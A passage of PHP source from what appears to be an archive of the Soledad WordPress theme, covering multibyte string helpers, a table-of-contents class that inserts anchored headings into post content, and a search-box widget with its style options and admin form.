				$start[ $key ] = is_int( $value ) ? $value : 0;
			}
		} else {
			$start = array_pad( array( $start ), $num, $start );
		}

		// $length
		if ( ! isset( $length ) ) {
			$length = array_fill( 0, $num, 0 );
		} elseif ( is_array( $length ) ) {
			$length = array_slice( $length, 0, $num );
			foreach ( $length as $key => $value ) {
				$length[ $key ] = isset( $value ) ? ( is_int( $value ) ? $value : $num ) : 0;
			}
		} else {
			$length = array_pad( array( $length ), $num, $length );
		}

		// Recursive call
		return array_map( __FUNCTION__, $string, $replacement, $start, $length );
	}

	preg_match_all( '/./us', (string) $string, $smatches );
	preg_match_all( '/./us', (string) $replacement, $rmatches );

	if ( $length === null ) {

		$length = mb_strlen( $string );
	}

	array_splice( $smatches[0], $start, $length, $rmatches[0] );

	return join( $smatches[0] );
}

/**
 * Returns a string with all items from the $find array replaced with their matching
 * items in the $replace array.  This does a one to one replacement (rather than globally).
 *
 * This function is multibyte safe.
 *
 * $find and $replace are arrays, $string is the haystack.  All variables are passed by reference.
 *
 * @since  1.0
 *
 * @param bool   $find
 * @param bool   $replace
 * @param string $string
 *
 * @return mixed|string
 */
function mb_find_replace( &$find = false, &$replace = false, &$string = '' ) {

	if ( is_array( $find ) && is_array( $replace ) && $string ) {


		if ( function_exists( 'mb_strpos' ) ) {

			for ( $i = 0; $i < count( $find ); $i ++ ) {

				$needle = $find[ $i ];
				$start  = mb_strpos( $string, $needle );

				// If heading can not be found, let try decoding entities to see if it can be found.
				if ( false === $start ) {

					$needle = html_entity_decode(
						$needle,
						ENT_QUOTES,
						get_option( 'blog_charset' )
					);

					$start = mb_strpos( $string, $needle );
				}

				/*
				 * `mb_strpos()` can return `false`. Only process `mb_substr_replace()` if position in string is found.
				 */
				if ( is_int( $start ) ) {

					$length = mb_strlen( $needle );
					$string = mb_substr_replace( $string, $replace[ $i ], $start, $length );
				}

			}

		} else {

			for ( $i = 0; $i < count( $find ); $i ++ ) {

				$start  = strpos( $string, $find[ $i ] );
				$length = strlen( $find[ $i ] );

				/*
				 * `strpos()` can return `false`. Only process `substr_replace()` if position in string is found.
				 */
				if ( is_int( $start ) ) {

					$string = substr_replace( $string, $replace[ $i ], $start, $length );
				}
			}
		}
	}

	return $string;
}
function get_penci_toc_list( $post = null, $apply_content_filter = true ) {

	if ( ! $post instanceof \WP_Post ) {

		$post = get_post( $post );
	}

	if ( $apply_content_filter ) {

		$penciPost = new \SoledadToc_Post( $post );

	} else {

		$penciPost = new \SoledadToc_Post( $post, false );
	}

	return $penciPost->getTOCList();
}

/**
 * Display the current post's TOC list or supplied post's TOC list.
 *
 * @access public
 * @since  2.0
 *
 * @param null|WP_Post $post                 An instance of WP_Post
 * @param bool         $apply_content_filter Whether or not to apply `the_content` filter when processing post for headings.
 */
function penci_toc_list( $post = null, $apply_content_filter = true ) {

	echo get_penci_toc_list( $post, $apply_content_filter );
}

/**
 * Get the current post's TOC content block or supplied post's TOC content block.
 *
 * @access public
 * @since  2.0
 *
 * @param int|null|WP_Post $post                 An instance of WP_Post or post ID. Defaults to current post.
 * @param bool             $apply_content_filter Whether or not to apply `the_content` filter when processing post for headings.
 *
 * @return string
 */
function get_penci_toc_block( $post = null, $apply_content_filter = true ) {

	if ( ! $post instanceof \WP_Post ) {

		$post = get_post( $post );
	}

	if ( $apply_content_filter ) {

		$penciPost = new \SoledadToc_Post( $post );

	} else {

		$penciPost = new \SoledadToc_Post( $post, false );
	}

	return $penciPost->getTOC();
}

/**
 * Display the current post's TOC content or supplied post's TOC content.
 *
 * @access public
 * @since  2.0
 *
 * @param null|WP_Post $post                 An instance of WP_Post
 * @param bool         $apply_content_filter Whether or not to apply `the_content` filter when processing post for headings.
 */
function penci_toc_block( $post = null, $apply_content_filter = true ) {

	echo get_penci_toc_block( $post, $apply_content_filter );
}
PK     2w\4VH  VH    toc/init.phpnu [        <?php

use function Soledad\Table_Of_Contents\String\mb_find_replace;

// Exit if accessed directly
if ( ! defined( 'ABSPATH' ) ) {
	exit;
}
if ( ! class_exists( 'PenciTOC' ) ) {
	/**
	 * Class PenciTOC
	 */
	final class PenciTOC {
		private static $instance;
		private static $store = array();

		public function __construct() {
			/* Do nothing here */
		}

		public static function instance() {
			global $post;
			if ( ! self::is_eligible( $post ) || ! is_singular() ) {
				return false;
			}
			if ( ! isset( self::$instance ) && ! ( self::$instance instanceof self ) ) {
				self::$instance = new self();
				self::includes();
				self::hooks();
			}

			return self::$instance;
		}

		private static function includes() {
			require_once PENCI_SOLEDAD_DIR . '/inc/toc/helper.php';
			require_once PENCI_SOLEDAD_DIR . '/inc/toc/helper_new.php';
			require_once PENCI_SOLEDAD_DIR . '/inc/toc/progress.php';
		}

		private static function hooks() {
			add_action( 'wp_enqueue_scripts', array( __CLASS__, 'enqueueScripts' ) );
			// Run after shortcodes are interpreted (priority 10).
			add_filter( 'the_content', array( __CLASS__, 'the_content' ), 100 );
			add_shortcode( 'penci-toc', array( __CLASS__, 'shortcode' ) );
			add_shortcode( apply_filters( 'penci_toc_shortcode', 'toc' ), array( __CLASS__, 'shortcode' ) );
			add_action( 'soledad_theme/custom_css', array( __CLASS__, 'penci_toc_style' ) );
		}

		public static function enqueueScripts() {
			$js_vars = array();
			wp_enqueue_script( 'js-cookies' );
			wp_register_script( 'penci-smoothscroll2', PENCI_SOLEDAD_URL . '/js/smooth-scroll.min.js', array( 'jquery' ), PENCI_SOLEDAD_VERSION, true );
			wp_register_script(
				'penci-toc-lib',
				PENCI_SOLEDAD_URL . '/inc/toc/penci-toc.js',
				array(
					'jquery',
					'js-cookies',
					'penci-smoothscroll2',
				),
				PENCI_SOLEDAD_VERSION,
				true
			);
			if ( get_theme_mod( 'penci_toc_smooth_scroll', true ) ) {
				$js_vars['smooth_scroll'] = true;
			}
			if ( penci_get_setting( 'penci_toc_heading_text' ) && ! get_theme_mod( 'penci_toc_visibility' ) ) {
				$width                                 = get_theme_mod( 'penci_toc_styles_width', '320' ) . 'px';
				$js_vars['visibility_hide_by_default'] = get_theme_mod( 'penci_toc_visibility_hide_by_default' );
				$js_vars['width']                      = esc_js( $width );
			}
			$prefix                   = get_theme_mod( 'penci_toc_prefix', 'penci' );
			$js_vars['prefix']        = (string) $prefix ? $prefix : '';
			$offset                   = wp_is_mobile() ? get_theme_mod( 'penci_toc_mobile_smooth_scroll_offset', 90 ) : get_theme_mod( 'penci_toc_smooth_scroll_offset', 120 );
			$js_vars['scroll_offset'] = esc_js( $offset );
			if ( ! empty( $js_vars ) ) {
				wp_enqueue_script( 'penci-toc-lib' );
				wp_localize_script( 'penci-toc-lib', 'PenciTOC', $js_vars );
			}
		}

		public static function array_search_deep( $search, array $array, $mode = 'value' ) {
			foreach ( new RecursiveIteratorIterator( new RecursiveArrayIterator( $array ) ) as $key => $value ) {
				if ( $search === ${${'mode'}} ) {
					return true;
				}
			}

			return false;
		}

		public static function is_eligible( $post ) {

			if ( empty( $post ) || ! $post instanceof WP_Post ) {
				return false;
			}

			$return = false;

			if ( has_shortcode( $post->post_content, apply_filters( 'penci_toc_shortcode', 'toc' ) ) || has_shortcode( $post->post_content, 'penci-toc' ) ) {
				$return = true;
			}
			
			if ( is_front_page() ) {
				$return = false;
			}

			if ( is_singular() ) {

				$type    = get_post_type( $post->ID );
				$enabled = get_theme_mod( 'penci_toc_enabled_post_types' ) && is_array( get_theme_mod( 'penci_toc_enabled_post_types' ) ) && in_array( $type, get_theme_mod( 'penci_toc_enabled_post_types', array() ), true );

				if ( $enabled && is_singular( $type ) ) {
					$return = true;
				}

				if ( 'yes' == get_post_meta( $post->ID, 'penci_toc_enable', true ) ) {
					$return = true;
				}

				if ( 'no' == get_post_meta( $post->ID, 'penci_toc_enable', true ) ) {
					$return = false;
				}

				
				$elementor_data = get_post_meta( $post->ID, '_elementor_data', 'true' );
				if ( strpos($elementor_data, '[penci-toc') !== false ) {
					$return = true;
				}
			
			}

			return $return;
		}

		public static function get( $id ) {
			$post = null;
			if ( isset( self::$store[ $id ] ) && self::$store[ $id ] instanceof SoledadToc_Post ) {
				$post = self::$store[ $id ];
			} else {
				$post = SoledadToc_Post::get( get_the_ID() );
				if ( $post instanceof SoledadToc_Post ) {
					self::$store[ $id ] = $post;
				}
			}

			return $post;
		}

		public static function shortcode( $atts, $content, $tag ) {
			static $run = true;
			$html = '';
			if ( $run ) {
				$post = self::get( get_the_ID() );
				if ( ! $post instanceof SoledadToc_Post ) {
					return $content;
				}
				$html = $post->getTOC();
				$run  = false;
			}

			return $html;
		}

		private static function maybe_apply_the_content_filter() {

			$apply = true;

			global $wp_current_filter;

			// Do not execute if root current filter is one of those in the array.
			if ( isset( $wp_current_filter[0] ) && in_array( $wp_current_filter[0], array(
					'get_the_excerpt',
					'init',
					'wp_head'
				), true ) ) {

				$apply = false;
			}

			// bail if feed, search or archive
			if ( is_feed() || is_search() || is_archive() ) {

				if ( ( true == get_theme_mod( 'penci_toc_include_category', false ) && is_category() ) || ( true == get_theme_mod( 'penci_toc_include_tag', false ) && is_tag() ) || ( true == get_theme_mod( 'penci_toc_include_product_category', false ) && ( function_exists( 'is_product_category' ) && is_product_category() ) ) || ( true == get_theme_mod( 'penci_toc_include_custom_tax', false ) && is_tax() ) ) {

					$apply = true;
				} else {
					$apply = false;
				}
			}

			if ( function_exists( 'get_current_screen' ) ) {
				$my_current_screen = get_current_screen();
				if ( isset( $my_current_screen->id ) ) {

					if ( $my_current_screen->id == 'edit-post' ) {
						$apply = false;
					}
				}

				if ( is_object( $my_current_screen ) && method_exists( $my_current_screen, 'is_block_editor' ) && $my_current_screen->is_block_editor() ) {
					$apply = false;
				}
			}

			if ( ! empty( array_intersect( $wp_current_filter, array( 'get_the_excerpt', 'init', 'wp_head' ) ) ) ) {
				$apply = false;
			}

			return apply_filters( 'penci_toc_maybe_apply_the_content_filter', $apply );
		}

		public static function the_content( $content ) {

			if ( function_exists( 'post_password_required' ) ) {
				if ( post_password_required() ) {
					return $content;
				}
			}

			$maybeApplyFilter = self::maybe_apply_the_content_filter();
			$content          = apply_filters( 'pencitoc_modify_the_content', $content );


			if ( ! $maybeApplyFilter ) {

				return $content;
			}
			// Fix for getting current page id when sub-queries are used on the page
			$penci_toc_current_post_id = function_exists( 'get_queried_object_id' ) ? get_queried_object_id() : get_the_ID();

			// Bail if post not eligible and widget is not active.
			if ( apply_filters( 'current_theme', get_option( 'current_theme' ) ) == 'MicrojobEngine Child' || class_exists( 'Timber' ) ) {
				$isEligible = self::is_eligible( get_post( $penci_toc_current_post_id ) );
			} else {
				$isEligible = self::is_eligible( get_post() );
			}

			$isEligible = apply_filters( 'pencitoc_do_shortcode', $isEligible );

			if ( $isEligible ) {
				if ( ! penci_toc_auto_device_target_status() ) {
					$isEligible = false;
				}
			}

			if ( ! $isEligible ) {
				return $content;
			}

			if ( apply_filters( 'current_theme', get_option( 'current_theme' ) ) == 'MicrojobEngine Child' || class_exists( 'Timber' ) ) {
				$post = self::get( $penci_toc_current_post_id );
			} else {
				$post = self::get( get_the_ID() );
			}


			if ( ! $post instanceof SoledadToc_Post ) {

				return $content;
			}
			//Bail if no headings found.
			if ( ! $post->hasTOCItems() && get_theme_mod( 'penci_toc_no_heading_text' ) != 1 ) {

				return $content;
			}

			$find     = $post->getHeadings();
			$replace  = $post->getHeadingsWithAnchors();
			$toc      = $post->getTOC();
			$headings = implode( PHP_EOL, $find );
			$anchors  = implode( PHP_EOL, $replace );

			$headingRows = count( $find ) + 1;
			$anchorRows  = count( $replace ) + 1;

			$style = "background-image: linear-gradient(#F1F1F1 50%, #F9F9F9 50%); background-size: 100% 4em; border: 1px solid #CCC; font-family: monospace; font-size: 1em; line-height: 2em; margin: 0 auto; overflow: auto; padding: 0 8px 4px; white-space: nowrap; width: 100%;";

			// If shortcode used or post not eligible, return content with anchored headings.
			if ( strpos( $content, 'penci-toc-container' ) || ! $isEligible ) {


				return mb_find_replace( $find, $replace, $content );
			}

			$position = get_theme_mod( 'penci_toc_position', 'top' );


			switch ( $position ) {

				case 'top':
					$content = $toc . mb_find_replace( $find, $replace, $content );
					break;

				case 'bottom':
					$content = mb_find_replace( $find, $replace, $content ) . $toc;
					break;

				case 'after':
					$replace[0] = $replace[0] . $toc;
					$content    = mb_find_replace( $find, $replace, $content );
					break;
				case 'afterpara':
					$exc_blkqt = get_theme_mod( 'penci_toc_blockqoute_checkbox' );
					//blockqoute
					$blockquotes = array();
					if ( $exc_blkqt == true ) {
						preg_match_all( "/<blockquote(.*?)>(.*?)<\/blockquote>/s", $content, $blockquotes );
						if ( ! empty( $blockquotes ) ) {
							$content = penci_toc_para_blockquote_replace( $blockquotes, $content, 1 );
						}
					}
					$content = insertElementByPTag( mb_find_replace( $find, $replace, $content ), $toc );
					//add blockqoute back
					if ( $exc_blkqt == true && ! empty( $blockquotes ) ) {
						$content = penci_toc_para_blockquote_replace( $blockquotes, $content, 2 );
					}
					break;
				case 'aftercustompara':
					$exc_blkqt = get_theme_mod( 'penci_toc_blockqoute_checkbox' );
					//blockqoute
					$blockquotes = array();
					if ( $exc_blkqt == true ) {
						preg_match_all( "/<blockquote(.*?)>(.*?)<\/blockquote>/s", $content, $blockquotes );
						if ( ! empty( $blockquotes ) ) {
							$content = penci_toc_para_blockquote_replace( $blockquotes, $content, 1 );
						}
					}
					$paragraph_index = get_theme_mod( 'penci_toc_custom_para_number' );
					if ( $paragraph_index == 1 ) {
						$content = insertElementByPTag( mb_find_replace( $find, $replace, $content ), $toc );
					} else if ( $paragraph_index > 1 ) {
						$closing_p  = '</p>';
						$paragraphs = explode( $closing_p, $content );
						if ( ! empty( $paragraphs ) && is_array( $paragraphs ) && $paragraph_index <= count( $paragraphs ) ) {
							$paragraph_id = $paragraph_index;
							foreach ( $paragraphs as $index => $paragraph ) {
								if ( trim( $paragraph ) ) {
									$paragraphs[ $index ] .= $closing_p;
								}
								$pos = strpos( $paragraph, '<p' );
								if ( $paragraph_id == $index + 1 && $pos !== false ) {
									$paragraphs[ $index ] .= $toc;
								}
							}
							$content = implode( '', $paragraphs );
							$content = mb_find_replace( $find, $replace, $content );
						} else {
							$content = insertElementByPTag( mb_find_replace( $find, $replace, $content ), $toc );
						}
					} else {
						$content = insertElementByPTag( mb_find_replace( $find, $replace, $content ), $toc );
					}
					//add blockqoute back
					if ( $exc_blkqt == true && ! empty( $blockquotes ) ) {
						$content = penci_toc_para_blockquote_replace( $blockquotes, $content, 2 );
					}
					break;
				case 'aftercustomimg':
					$img_index = get_theme_mod( 'penci_toc_custom_img_number' );
					if ( $img_index == 1 ) {
						$content = insertElementByImgTag( mb_find_replace( $find, $replace, $content ), $toc );
					} else if ( $img_index > 1 ) {
						$closing_img = '</figure>';
						$imgs        = explode( $closing_img, $content );
						if ( ! empty( $imgs ) && is_array( $imgs ) && $img_index <= count( $imgs ) ) {
							$img_id = $img_index;
							foreach ( $imgs as $index => $img ) {
								if ( trim( $img ) ) {
									$imgs[ $index ] .= $closing_img;
								}
								$pos = strpos( $img, '<figure' );
								if ( $img_id == $index + 1 && $pos !== false ) {
									$imgs[ $index ] .= $toc;
								}
							}
							$content = implode( '', $imgs );
							$content = mb_find_replace( $find, $replace, $content );
						} else {
							$content = insertElementByImgTag( mb_find_replace( $find, $replace, $content ), $toc );
						}
					} else {
						$content = insertElementByImgTag( mb_find_replace( $find, $replace, $content ), $toc );
					}
					break;
				case 'before':
				default:
					$content = mb_find_replace( $find, $replace, $content );

					/**
					 * @link https://wordpress.org/support/topic/php-notice-undefined-offset-8/
					 */
					if ( ! array_key_exists( 0, $replace ) ) {
						break;
					}

					$pattern = '`<h[1-6]{1}[^>]*' . preg_quote( $replace[0], '`' ) . '`msuU';
					$result  = preg_match( $pattern, $content, $matches );

					/*
					 * Try to place TOC before the first heading found in eligible heading, failing that,
					 * insert TOC at top of content.
					 */
					if ( 1 === $result ) {


						$start   = strpos( $content, $matches[0] );
						$content = substr_replace( $content, $toc, $start, 0 );

					}
			}

			return $content;

		}

		public static function penci_toc_style() {
			$css       = '';
			$toc_style = array(
				'penci_toc_styles_width'          => array( 'max-width' => '.penci-toc-wrapper,.penci-toc-wrapper.penci-toc-default' ),
				'penci_toc_styles_swidth'         => array( 'max-width' => '.penci-sticky-toc' ),
				'penci_toc_heading_mfs'           => array( 'font-size' => '.penci-toc-wrapper .penci-toc-title' ),
				'penci_toc_heading_fs'            => array( 'font-size' => '.penci-toc-wrapper .penci-toc-title' ),
				'penci_toc_l1_mfs'                => array( 'font-size' => '.post-entry .penci-toc ul a,.penci-toc ul a' ),
				'penci_toc_l1_fs'                 => array( 'font-size' => '.post-entry .penci-toc ul a,.penci-toc ul a' ),
				'penci_toc_l2_mfs'                => array( 'font-size' => '.post-entry .penci-toc ul ul a,.penci-toc ul ul a' ),
				'penci_toc_l2_fs'                 => array( 'font-size' => '.post-entry .penci-toc ul ul a,.penci-toc ul ul a' ),
				'penci_toc_heading_color'         => array( 'color' => '.post-entry .penci-toc-wrapper .penci-toc-title,.penci-toc-wrapper .penci-toc-title' ),
				'penci_toc_l1_color'              => array( 'color' => '.post-entry .penci-toc ul a,.penci-toc ul a' ),
				'penci_toc_l1_hcolor'             => array( 'color' => '.post-entry .penci-toc ul a:hover,.penci-toc ul a:hover' ),
				'penci_toc_l2_color'              => array( 'color' => '.post-entry .penci-toc ul ul a,.penci-toc ul ul a' ),
				'penci_toc_l2_hcolor'             => array( 'color' => '.post-entry .penci-toc ul ul a:hover,.penci-toc ul ul a:hover' ),
				'penci_toc_bd_color'              => array( 'border-color' => '.penci-toc-wrapper,.penci-toc-wrapper .penci-toc > ul,.penci-toc ul li a' ),
				'penci_toc_bg_color'              => array( 'background-color' => '.penci-toc-wrapper' ),
				'penci_toc_tgbtn_color'           => array( 'color' => '.post-entry .penci-toc-wrapper .penci-toc-title-toggle' ),
				'penci_toc_tgbtn_hcolor'          => array( 'color' => '.post-entry .penci-toc-wrapper .penci-toc-title-toggle:hover' ),
				'penci_toc_tgbtn_bgcolor'         => array( 'background-color' => '.penci-toc-wrapper .penci-toc-title-toggle' ),
				'penci_toc_tgbtn_hbgcolor'        => array( 'background-color' => '.penci-toc-wrapper .penci-toc-title-toggle:hover' ),

				// sticky
				'penci_toc_sticky_heading_color'  => array( 'color' => '.penci-toc-wrapper.penci-sticky-toc .penci-toc-title' ),
				'penci_toc_sticky_l1_color'       => array( 'color' => '.penci-sticky-toc .penci-toc ul a' ),
				'penci_toc_sticky_l1_hcolor'      => array( 'color' => '.penci-sticky-toc .penci-toc ul a:hover' ),
				'penci_toc_sticky_l2_color'       => array( 'color' => '.penci-sticky-toc .penci-toc ul ul a' ),
				'penci_toc_sticky_l2_hcolor'      => array( 'color' => '.penci-sticky-toc .penci-toc ul ul a:hover' ),
				'penci_toc_sticky_bd_color'       => array( 'border-color' => '.penci-sticky-toc .penci-toc-wrapper,.penci-toc-wrapper .penci-toc > ul,.penci-toc ul li a' ),
				'penci_toc_sticky_bg_color'       => array( 'background-color' => '.penci-sticky-toc .penci-toc-wrapper' ),
				'penci_toc_sticky_tgbtn_color'    => array( 'color' => '.penci-sticky-toc .penci-toc-wrapper .penci-toc-title-toggle' ),
				'penci_toc_sticky_tgbtn_hcolor'   => array( 'color' => '.penci-sticky-toc .penci-toc-wrapper .penci-toc-title-toggle:hover' ),
				'penci_toc_sticky_tgbtn_bgcolor'  => array( 'background-color' => '.penci-sticky-toc .penci-toc-wrapper .penci-toc-title-toggle' ),
				'penci_toc_sticky_tgbtn_hbgcolor' => array( 'background-color' => '.penci-sticky-toc .penci-toc-wrapper .penci-toc-title-toggle:hover' ),

				// Mobile Sticky Button
				'penci_toc_msticky_w_bgcolor'     => array( 'background-color' => '.penci-toc-wrapper.hide-table' ),
				'penci_toc_msticky_w_bdcolor'     => array( 'border-color' => '.penci-toc-wrapper.hide-table' ),
				'penci_toc_msticky_btn_bgcolor'   => array( 'background-color' => '.penci-toc-wrapper.hide-table .sticky-toggle' ),
				'penci_toc_msticky_btn_bghcolor'  => array( 'background-color' => '.penci-toc-wrapper.hide-table .sticky-toggle:hover' ),
				'penci_toc_msticky_btn_color'     => array( 'color' => '.penci-toc-wrapper.hide-table .sticky-toggle' ),
				'penci_toc_msticky_btn_hcolor'    => array( 'color' => '.penci-toc-wrapper.hide-table .sticky-toggle:hover' ),

			);
			foreach ( $toc_style as $value => $props ) {
				$before = $after = '';
				if ( strpos( $value, 'm' ) !== false ) {
					$before = '@media only screen and (max-width: 767px){';
					$after  = '}';
				}
				$val = get_theme_mod( $value );
				if ( $val ) {
					foreach ( $props as $prop => $selector ) {
						$prefix = 'font-size' == $prop || 'max-width' == $prop ? 'px' : '';
						$css    .= $before . $selector . '{' . $prop . ':' . $val . $prefix . '}' . $after;
					}
				}
			}

			echo $css;
		}
	}

	function penciTOC() {
		return penciTOC::instance();
	}

	add_action( 'wp', 'penciTOC' );
}
PK     2w\YI1  I1    widgets/search_box.phpnu [        <?php

add_action( 'widgets_init', 'penci_search_box_load_widget' );

function penci_search_box_load_widget() {
	register_widget( 'penci_search_box_widget' );
}

if ( ! class_exists( 'penci_search_box_widget' ) ) {
	class penci_search_box_widget extends WP_Widget {

		/**
		 * Widget setup.
		 */
		function __construct() {
			/* Widget settings. */
			$widget_ops = array(
				'classname'   => 'penci_search_box_widget',
				'description' => esc_html__( 'A widget that displays the search form', 'soledad' )
			);

			/* Widget control settings. */
			$control_ops = array( 'width' => 250, 'height' => 350, 'id_base' => 'penci_search_box_widget' );

			/* Create the widget. */ global $wp_version;
			if ( 4.3 > $wp_version ) {
				$this->WP_Widget( 'penci_search_box_widget', penci_get_theme_name( '.Soledad', true ) . esc_html__( 'Search Box', 'soledad' ), $widget_ops, $control_ops );
			} else {
				parent::__construct( 'penci_search_box_widget', penci_get_theme_name( '.Soledad', true ) . esc_html__( 'Search Box', 'soledad' ), $widget_ops, $control_ops );
			}
		}

		/**
		 * How to display the widget on the screen.
		 */
		function widget( $args, $instance ) {
			extract( $args );

			/* Our variables from the widget settings. */
			$title = isset( $instance['title'] ) ? $instance['title'] : '';
			$title = apply_filters( 'widget_title', $title );
			$style = isset( $instance['style'] ) && $instance['style'] ? $instance['style'] : 'default';


			/* Before widget (defined by themes). */
			echo ent2ncr( $before_widget );

			/* Display the widget title if one was input (before and after defined by themes). */
			if ( $title ) {
				echo ent2ncr( $before_title ) . $title . ent2ncr( $after_title );
			}

			?>
            <div class="pcwg-widget pc-widget-searchform penci-builder-element pc-search-form search-style-<?php echo $style; ?>">
                <form role="search" method="get" class="pc-searchform"
                      action="<?php echo esc_url( home_url( '/' ) ); ?>">
                    <div class="pc-searchform-inner">
                        <input type="text" class="search-input"
                               placeholder="<?php echo penci_get_setting( 'penci_trans_type_and_hit' ); ?>" name="s"/>
                        <i class="penciicon-magnifiying-glass"></i>
                        <button type="submit"
                                class="searchsubmit"><?php echo penci_get_setting( 'penci_trans_search' ); ?></button>
                    </div>
                </form>
            </div>
			<?php
			$styles = [
				'bgcolor'     => [
					'background-color' => '#' . $this->id . ' .pc-widget-searchform form.pc-searchform input.search-input'
				],
				'bdcolor'     => [
					'border-color' => '#' . $this->id . ' .pc-widget-searchform form.pc-searchform input.search-input'
				],
				'txtcolor'    => [
					'color' => '#' . $this->id . ' form.pc-searchform input.search-input',
				],
				'btncolor'    => [
					'color' => '#' . $this->id . ' .pc-widget-searchform.search-style-default i,#' . $this->id . ' .pc-widget-searchform.search-style-icon-button .searchsubmit,#' . $this->id . ' .pc-widget-searchform.pc-search-form.search-style-text-button .searchsubmit'
				],
				'btnhcolor'   => [
					'color' => '#' . $this->id . ' .pc-widget-searchform.search-style-icon-button .searchsubmit:hover,#' . $this->id . ' .pc-widget-searchform.pc-search-form.search-style-text-button .searchsubmit:hover'
				],
				'btnbgcolor'  => [
					'background-color' => '#' . $this->id . ' .pc-widget-searchform.search-style-icon-button .searchsubmit,#' . $this->id . ' .pc-widget-searchform.pc-search-form.search-style-text-button .searchsubmit'
				],
				'btnbghcolor' => [
					'background-color' => '#' . $this->id . ' .pc-widget-searchform.search-style-icon-button .searchsubmit:hover,#' . $this->id . ' .pc-widget-searchform.pc-search-form.search-style-text-button .searchsubmit:hover'
				],
				'ch'          => [
					'line-height' => '#' . $this->id . ' .pc-widget-searchform form.pc-searchform input.search-input,#' . $this->id . ' .pc-widget-searchform.search-style-icon-button .searchsubmit:before,#' . $this->id . ' .pc-widget-searchform.search-style-text-button .searchsubmit ',
				],
				'fzinput'     => [
					'font-size' => '#' . $this->id . ' .pc-widget-searchform form.pc-searchform input.search-input',
				],
				'fzbtn'       => [
					'font-size' => '#' . $this->id . ' .pc-widget-searchform.search-style-default i,
							#' . $this->id . ' .pc-widget-searchform.search-style-icon-button .searchsubmit:before,
							#' . $this->id . ' .pc-widget-searchform.search-style-text-button .searchsubmit',
				],
			];

			$out = '';

			foreach ( $styles as $option => $selectors ) {
				$value = isset( $instance[ $option ] ) ? $instance[ $option ] : '';
				if ( $value ) {
					foreach ( $selectors as $prop => $selector ) {
						$prefix = in_array( $prop, [ 'font-size', 'line-height' ] ) ? 'px' : '';
						$out    .= $selector . '{' . $prop . ':' . $value . $prefix . '}';
					}
				}
			}

			if ( $out ) {
				echo '<style>' . $out . '</style>';
			}


			/* After widget (defined by themes). */
			echo ent2ncr( $after_widget );
		}

		/**
		 * Update the widget settings.
		 */
		function update( $new_instance, $old_instance ) {
			$instance = $old_instance;

			$data_instance = $this->soledad_widget_defaults();

			foreach ( $data_instance as $data => $value ) {
				$instance[ $data ] = ! empty( $new_instance[ $data ] ) ? $new_instance[ $data ] : '';
			}

			return $instance;
		}

		public function soledad_widget_defaults() {
			return array(
				'title'       => esc_html__( 'Search', 'soledad' ),
				'style'       => 'default',
				'bgcolor'     => '',
				'bdcolor'     => '',
				'txtcolor'    => '',
				'txthcolor'   => '',
				'btncolor'    => '',
				'btnhcolor'   => '',
				'btnbgcolor'  => '',
				'btnbghcolor' => '',
				'ch'          => '',
				'fzinput'     => '',
				'fzbtn'       => '',
			);
		}


		function form( $instance ) {

			/* Set up some default widget settings. */
			$defaults = $this->soledad_widget_defaults();
			$instance = wp_parse_args( (array) $instance, $defaults );

			$instance_title = $instance['title'] ? str_replace( '"', '&quot;', $instance['title'] ) : '';
			?>

            <!-- Widget Title: Text Input -->
            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'title' ) ); ?>"><?php esc_html_e( 'Title:', 'soledad' ); ?></label>
                <input type="text" class="widefat" id="<?php echo esc_attr( $this->get_field_id( 'title' ) ); ?>"
                       name="<?php echo esc_attr( $this->get_field_name( 'title' ) ); ?>"
                       value="<?php echo $instance_title; ?>"/>
            </p>

            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'style' ) ); ?>">Search Form Style:</label>
                <select id="<?php echo esc_attr( $this->get_field_id( 'style' ) ); ?>"
                        name="<?php echo esc_attr( $this->get_field_name( 'style' ) ); ?>" class="widefat categories"
                        style="width:100%;">
                    <option value=''>Default
                    </option>
                    <option value='text-button' <?php selected( $instance['style'], 'text-button' ); ?>>Text Button
                    </option>
                    <option value='icon-button' <?php selected( $instance['style'], 'icon-button' ); ?>>Icon Button
                    </option>
                </select>
            </p>

            <p>
                <label for="<?php echo $this->get_field_id( 'bgcolor' ); ?>"
                       style="display:block;"><?php _e( 'Background Color:' ); ?></label>
                <input class="widefat pcwoo-color-picker color-picker"
                       id="<?php echo $this->get_field_id( 'bgcolor' ); ?>"
                       name="<?php echo $this->get_field_name( 'bgcolor' ); ?>" type="text"
                       value="<?php echo $instance['bgcolor']; ?>"/>
            </p>

            <p>
                <label for="<?php echo $this->get_field_id( 'bdcolor' ); ?>"
                       style="display:block;"><?php _e( 'Border Color:' ); ?></label>
                <input class="widefat pcwoo-color-picker color-picker"
                       id="<?php echo $this->get_field_id( 'bdcolor' ); ?>"
                       name="<?php echo $this->get_field_name( 'bdcolor' ); ?>" type="text"
                       value="<?php echo $instance['bdcolor']; ?>"/>
            </p>

            <p>
                <label for="<?php echo $this->get_field_id( 'txtcolor' ); ?>"
                       style="display:block;"><?php _e( 'Search Input Text Color:' ); ?></label>
                <input class="widefat pcwoo-color-picker color-picker"
                       id="<?php echo $this->get_field_id( 'txtcolor' ); ?>"
                       name="<?php echo $this->get_field_name( 'txtcolor' ); ?>" type="text"
                       value="<?php echo $instance['txtcolor']; ?>"/>
            </p>

            <p>
                <label for="<?php echo $this->get_field_id( 'btncolor' ); ?>"
                       style="display:block;"><?php _e( 'Button/Icon Text Color:' ); ?></label>
                <input class="widefat pcwoo-color-picker color-picker"
                       id="<?php echo $this->get_field_id( 'btncolor' ); ?>"
                       name="<?php echo $this->get_field_name( 'btncolor' ); ?>" type="text"
                       value="<?php echo $instance['btncolor']; ?>"/>
            </p>

            <p>
                <label for="<?php echo $this->get_field_id( 'btnhcolor' ); ?>"
                       style="display:block;"><?php _e( 'Button/Icon Hover Text Color:' ); ?></label>
                <input class="widefat pcwoo-color-picker color-picker"
                       id="<?php echo $this->get_field_id( 'btnhcolor' ); ?>"
                       name="<?php echo $this->get_field_name( 'btnhcolor' ); ?>" type="text"
                       value="<?php echo $instance['btnhcolor']; ?>"/>
            </p>

            <p>
                <label for="<?php echo $this->get_field_id( 'btnbgcolor' ); ?>"
                       style="display:block;"><?php _e( 'Button/Icon Background Color:' ); ?></label>
                <input class="widefat pcwoo-color-picker color-picker"
                       id="<?php echo $this->get_field_id( 'btnbgcolor' ); ?>"
                       name="<?php echo $this->get_field_name( 'btnbgcolor' ); ?>" type="text"
                       value="<?php echo $instance['btnbgcolor']; ?>"/>
            </p>

            <p>
                <label for="<?php echo $this->get_field_id( 'btnbghcolor' ); ?>"
                       style="display:block;"><?php _e( 'Button/Icon Hover Background Color:' ); ?></label>
